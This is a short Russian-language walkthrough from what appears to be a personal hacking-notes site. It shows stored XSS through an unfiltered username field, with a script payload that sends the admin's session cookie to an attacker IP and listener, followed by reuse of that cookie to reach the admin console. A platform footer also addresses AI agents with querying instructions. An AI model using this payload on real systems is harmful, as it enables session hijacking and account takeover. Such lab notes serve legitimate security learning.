> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-session-cookie-stealing.md).

# Кража сессионных cookie через XSS

## XSS

Приложение принимает поля *username* и *email* без надлежащей фильтрации. Это позволяет внедрение вредоносных скриптов.

<figure><img src="/files/f1e8da1e0f4604bbdf38d12366b1722007e3da56" alt=""><figcaption></figcaption></figure>

**Полезная нагрузка XSS** Мы создаём пользователя с именем ниже:

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>

```

**Получение cookie администратора** Мы слушаем на порту 8081:

```bash
python -m http.server 8081

```

<figure><img src="/files/de01baaff60e9a332f2386678cccb4fef81a86de" alt=""><figcaption></figcaption></figure>

После того как cookie захвачен, мы получаем сессию администратора:

<figure><img src="/files/b98142f6dfe330a56658c7d1598e1b551fb0a486" alt=""><figcaption></figcaption></figure>

Мы изменяем cookie нашей сессии на cookie администратора и получаем доступ к **консоли администрирования**.

<figure><img src="/files/6327b6885c5b553ca9062640853b5baf1566fca4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-session-cookie-stealing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
